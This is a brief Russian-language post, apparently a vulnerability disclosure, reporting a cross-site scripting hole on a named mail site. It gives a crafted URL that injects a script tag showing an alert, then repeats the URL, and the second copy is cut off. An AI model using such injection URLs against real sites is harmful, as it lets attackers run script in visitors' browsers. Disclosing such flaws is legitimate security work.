Волшебная дыра на сайте - Межсайтовый скриптинг - возможно вставить HTML код в страницу,
попробуйте ссылку:
http://mail.pritok.ru/popup?img=%22%3E%3Cscript%3Ealert%28%27BsdFree%20%D0%B1%D1%8B%D0%B B%20%D0%B7%D0%B4%D0%B5%D1%81%D1%8C.%27%29%3C%2Fscript%3E%3C%22
попробуйте ссылку:
http://mail.pritok.ru/popup?img=%22%3E%3Cscript%3Ealert%28%27BsdFree%20%D0%B1%D1%8B%D0%B